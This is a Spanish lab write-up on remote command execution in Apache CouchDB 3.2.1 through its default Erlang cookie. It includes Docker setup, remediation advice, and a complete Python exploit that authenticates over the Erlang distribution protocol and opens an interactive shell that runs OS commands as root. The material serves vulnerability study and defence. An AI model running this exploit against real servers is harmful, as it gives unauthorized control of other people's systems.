
Colaboradores
Apache CouchDB es una base de datos NoSQL de tipo documento (Document-Oriented) de código abierto implementada en Erlang.
Dado que Apache CouchDB está desarrollado en Erlang, admite de forma nativa la computación distribuida (clúster). Los nodos del clúster se comunican entre sí mediante el Protocolo de Distribución de Erlang/OTP, y a través de este protocolo se pueden ejecutar comandos del sistema operativo (OS) con los privilegios del usuario que ejecuta CouchDB.
Para ejecutar comandos del sistema operativo es necesario conocer la cadena de autenticación (frase secreta) que Erlang denomina Cookie. En las versiones de CouchDB 3.2.1 e inferiores, el valor de Cookie predeterminado se establece como monster durante la instalación. Un atacante que conozca este valor puede superar la autenticación y ejecutar comandos del sistema operativo de forma remota.
Referencias:
Para realizar este laboratorio se requiere el siguiente entorno:
En macOS con Apple Silicon (M1/M2/M3) pueden aparecer advertencias relacionadas con la plataforma de la imagen. En la mayoría de los casos, Docker Desktop emula y ejecuta automáticamente las imágenes amd64, por lo que no se requiere ninguna acción adicional. Si el contenedor no se ejecuta correctamente, se puede añadir la opción platform: linux/amd64 al servicio couchdb en docker-compose.yml.
Si Python 3 no está instalado, se puede instalar con los siguientes comandos:
sudo apt update
sudo apt install -y python3
Ejecute el siguiente comando para poner en marcha el entorno Apache CouchDB 3.2.1.
docker compose up -d
Una vez que el servicio esté en ejecución, los siguientes 3 puertos quedarán abiertos en target-ip:
En un entorno real, el puerto de la interfaz web (5984) y el puerto del servicio EPMD (4369) son fijos, pero el puerto de comunicación del clúster puede cambiar en cada ejecución. Por lo tanto, se puede acceder al servicio EPMD para averiguar el número de puerto de comunicación del clúster que se está utilizando actualmente.
Si Apache CouchDB se ejecuta correctamente, se puede consultar la información de versión en http://target-ip:5984.

Esta vulnerabilidad se produce cuando se cumplen las siguientes condiciones:
monster).docker compose up -d
python3 poc.py target-ip 4369
El PoC consulta al servicio EPMD el número de puerto de comunicación del clúster en uso y, a continuación, realiza la autenticación del protocolo Erlang Distribution utilizando la cookie predeterminada (monster).
Una vez completada la autenticación, se puede introducir el comando de sistema operativo deseado para comprobar si se produce la ejecución remota de comandos.
#!/usr/local/bin/python3
# Python 기본 라이브러리
import socket
from hashlib import md5
import struct
import sys
import re
import time
# 대상 서버 및 기본 설정
TARGET = sys.argv[1]
EPMD_PORT = int(sys.argv[2]) # EPMD 기본 포트
COOKIE = "monster" # CouchDB 기본 Erlang Cookie
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Erlang 노드 목록 요청 패킷
# Erlang 인증 및 제어 메시지
NAME_MSG = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
# 사용자가 입력한 명령을 Erlang RPC 패킷으로 변환
def compile_cmd(CMD):
MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
MSG += struct.pack(">H", len(CMD))
MSG += bytes(CMD, 'ascii')
MSG += b'jw\x04user'
PAYLOAD = b'\x70' + CTRL_DATA + MSG
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
return PAYLOAD
print("Remote Command Execution via Erlang Distribution Protocol.\n")
# EPMD 서버에 접속하여 Erlang 노드 정보 획득
try:
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
print("Couldnt connect to EPMD: %s\n terminating program" % msg)
sys.exit(1)
# Erlang 노드 목록 요청
epm_socket.send(EPM_NAME_CMD)
# 정상 응답이면 노드 정보를 가져옴
if epm_socket.recv(4) == b'\x00\x00\x11\x11':
data = epm_socket.recv(1024)
data = data[0:len(data) - 1].decode('ascii')
data = data.split("\n")
if len(data) == 1:
choise = 1
print("Found " + data[0])
else:
print("\nMore than one node found, choose which one to use:")
line_number = 0
for line in data:
line_number += 1
print(" %d) %s" %(line_number, line))
choise = int(input("\n> "))
ERLNAG_PORT = int(re.search(r"\d+$",data[choise - 1])[0])
else:
print("Node list request error, exiting")
sys.exit(1)
epm_socket.close()
# Erlang 노드에 접속
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
sys.exit(1)
# Challenge 값 수신
s.send(NAME_MSG)
s.recv(5)
challenge = s.recv(1024)
print(challenge)
challenge = struct.unpack(">I", challenge[9:13])[0]
# Challenge 값을 이용하여 인증 정보 생성
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
+ bytes(str(challenge), "ascii")).digest()
# 인증 요청
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)
# 인증 성공 여부 확인
if len(CHALLENGE_RESPONSE) == 0:
print("Authentication failed, exiting")
sys.exit(1)
print("Authentication successful")
print("Enter command:\n")
data_size = 0
# 사용자 명령을 입력받아 원격 CouchDB 노드에서 실행
while True:
if data_size <= 0:
CMD = input("> ")
if not CMD:
continue
elif CMD == "exit":
sys.exit(0)
s.send(compile_cmd(CMD))
data_size = struct.unpack(">I", s.recv(4))[0]
s.recv(45)
data_size -= 45
time.sleep(0.1)
elif data_size < 1024:
data = s.recv(data_size)
time.sleep(0.1)
print(data[3:].decode())
data_size = 0
else:
data = s.recv(1024)
time.sleep(0.1)
print(data[4:].decode())
data_size -= 1024
Como resultado de la ejecución del PoC, se puede comprobar que el puerto de comunicación del clúster se obtiene correctamente a través del servicio EPMD y que la autenticación del protocolo Erlang Distribution se completa correctamente mediante el mensaje Authentication successful.
Después, se puede ejecutar el comando whoami para comprobar que el comando se ejecuta con privilegios de root, y el comando id para consultar la información de usuario y grupo. Además, el comando touch /tmp/success crea un archivo success en el directorio /tmp del sistema de destino y, a continuación, ls /tmp permite confirmar que dicho archivo se ha creado. De este modo se puede verificar que el comando de sistema operativo introducido se ejecuta realmente en el sistema de destino.

Cuando termine la práctica, ejecute el siguiente comando para detener los contenedores de Docker y la red.
docker compose down
Actualización a la última versión
Actualice a Apache CouchDB 3.2.2 o superior para solucionar el problema del uso de la cookie Erlang predeterminada.
Cambio de la cookie Erlang predeterminada
Cambie el valor de la cookie predeterminada (monster) por un valor aleatorio difícil de adivinar para evitar la evasión de autenticación y la ejecución remota de comandos.
Restricción del acceso a EPMD y al puerto de comunicación del clúster Aplique un firewall o políticas de control de acceso para que solo los hosts de confianza puedan acceder al EPMD (4369) y al puerto de comunicación del clúster.
Desactivación de la funcionalidad Erlang Distribution innecesaria
En entornos que no utilicen la funcionalidad de clúster, restrinja la funcionalidad Erlang Distribution o el acceso externo a los servicios relacionados para minimizar las posibilidades de ataque.